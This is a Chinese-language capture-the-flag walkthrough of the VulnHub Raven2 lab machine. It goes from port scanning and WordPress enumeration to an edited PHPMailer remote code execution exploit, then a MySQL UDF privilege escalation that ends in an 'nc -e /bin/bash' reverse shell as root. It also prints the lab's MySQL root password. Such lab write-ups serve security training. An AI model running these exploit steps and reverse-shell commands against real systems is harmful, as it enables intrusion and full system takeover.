一、靶机介绍

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 路径爆破
  • 远程代码执行注入
  • exp代码修改
  • 反弹shell
  • 内核漏洞枚举
  • 本地信息手机
  • mysql udf提权

二、主机发现

arp-scan -l

靶机ip为192.168.43.157

image-20240923144539161

三、端口扫描

nmap -p- 192.168.43.157 
nmap -p22,80,111,49867 -sC -sV 192.168.43.157

发现靶机开放22,80,111,49867

image-20240923144931984

四、web信息搜集

80端口开放,进入是也博客页面,点击blog页面,进入wordpress目录,不知道什么原因wordpress加载不完全,页面比较丑,查看一下源代码,发现一个比较奇怪的域名,

image-20240923150824134

raven.local

在kali中绑定一下

image-20240923150935226

重新访问页面,页面加载完成

image-20240923151045823

4.1、wpscan扫描

已经确定是wordpress页面了,就用wpscan扫描一下,

wpscan --url http://192.168.43.157

image-20240923151105413

根据扫描结果访问路径,在uplods目录下,发现flag3

image-20240923151143714

4.2、dirsearch扫描

获取不到更多信息了,扫描一下目录

dirsearch -u "http://192.168.43.157"

image-20240923151501520

在vendor这个目录下,存在许多文件,在path目录下,发现网站路径和flag1

网站路径为/var/www/html

image-20240923151717015

在vendor的readme中看到关于,phpmailer的历史版本漏洞

image-20240923151836854

在/vendor/VERSION,目录下看到版本号

image-20240923152132035

五、远程代码执行

在kali中查找是否存在对应漏洞脚本

searchsploit phpmailer

发现存在漏洞脚本

image-20240923152348247

那两个改了也用不成,这里直接忽略了,直接把python脚本复制当当前目录,便于更改

cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

下面是需要更改的地方,根据网上资料,这个脚本的利用页面就是那个邮件那个地方,在靶机中对应/contact.php这个路径,把反弹的ip更改为kali的ip,网站的路径根据flag1得知,也需要更改一下

image-20240923155559385

更改完成后,直接执行脚本就行了,在kali监听页面应该可以看到反弹成功

python3 40974.py
python -c "import pty; pty.spawn('/bin/bash')"

image-20240923155619515

image-20240923155715334

六、mysql udf提权

6.1、本地信息搜集

ps -ef

查看一下进程,发现mysql是以root权限执行的,这个也是最有可能提权成功的

image-20240923160435324

由于web页面是wordprss框架,所有从wordpress的配置文件中看看能不能找的mysql的相关信息

cd /var/www/html/wordpress
cat wp-config.php

在wordpress中找的了账号密码,并且这个mysql只允许本地登录

root

R@v3nSecurity

image-20240923160632927

6.2、\!bash提权尝试

mysql -uroot -p
\! bash

登录mysql,使用\!bash尝试提权,发现失败

image-20240923160850092

6.3、udf提权

查看是否存在

select version();							# 查看数据库版本号
show global variables like 'secure%'; # 查看是否满足昔日权限
show variables like '%plugin%'; # 查看插件目录

首先看一下是否满足写入条件

这里secure_file_priv没有具体值,表示不对mysqld的导入|导出做限制,这个时候可以提权。
如果secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法进行提权。
如果secure_file_priv的值为/tmp/,表示限制mysqld的导入|导出只能发生在/tmp/目录下,也无法进行提权。

因为MySQL的版本大于5.1,所以必须把UDF的动态链接库文件放置于MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数

如果不是只能本地登录的话,可以直接用msf

image-20240923161015130

image-20240923161533048

这里我懒省事,没有直接拿了msf下的exp,也可在searchploit中搜索对应的脚本,用gcc编译一下在用

find  / -name "*mysqludf*" 2>/dev/null		# 查找msf的udf库文件
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so .
nc -lnvp 5555 > lib_mysqludf_sys_64.so # 传到靶机上
nc 192.168.43.157 5555 < lib_mysqludf_sys_64.so -w 1

image-20240923162848540

然后再登录到mysql终端中

use mysql;
create table test(line blob); # 先创建一个表
insert into test values(load_file('/tmp/lib_mysqludf_sys_64.so')); # 将文件内容读取并插入表中
select * from test into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; #将表中数据导入到文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; # 创建sys_exec函数,该函数是通过加载共享库lib_mysqludf_sys_64.so实现的,返回类型为整数。

image-20240923163454296

select sys_exec('id > /tmp/out.txt');	# 尝试执行函数,看看是否成功
select sys_exec('nc 192.168.43.130 7777 -e /bin/bash'); # 利用这个函数反弹shell,shell权限就是root权限了

image-20240923163600688

反弹成功,flag4再root目录下

image-20240923163755189

找一下flag2

find / -name '*flag*' 2>/dev/null

发现在/var/www目录下

image-20240923163845052

参考文章:23 RAVEN: 2靶场(完成) (yuque.com)

VulnHub-Raven2靶场实操 - BKNboy - 博客园 (cnblogs.com)